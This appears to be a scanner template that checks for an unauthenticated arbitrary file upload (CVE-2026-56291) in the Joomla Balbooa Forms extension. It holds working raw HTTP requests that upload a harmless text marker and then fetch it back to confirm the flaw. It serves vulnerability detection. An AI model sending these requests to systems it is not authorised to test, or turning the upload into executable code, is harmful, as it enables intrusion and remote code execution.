id: CVE-2026-56291 info: name: "Joomla - Arbitrary File Upload" author: vedas-arpsyndicate severity: critical description: | Joomla Extension - balbooa.com - Unauthenticated file upload in Balbooa Forms extension < 2.4.1 - The Joomla extension Balbooa Forms is vulnerable to an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE. reference: - https://www.exploit.observer/?keyword=CVE-2026-56291&match=exact - https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-56291 cwe-id: CWE-434 metadata: verified: false tags: cve,cve2026,joomla,balbooa,baforms,file-upload,rce,vuln,kev,vkev variables: marker: "{{to_lower(rand_base(8))}}" flow: http(1) && http(2) http: - raw: - | POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1 HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="form_id" 1 ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="{{marker}}.txt" Content-Type: text/plain CVE-2026-56291-{{marker}} ------WebKitFormBoundary-- matchers: - type: dsl dsl: - 'status_code == 200' condition: and internal: true - raw: - | GET /images/baforms/uploads/form-0/{{marker}}.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "CVE-2026-56291-{{marker}}")' condition: and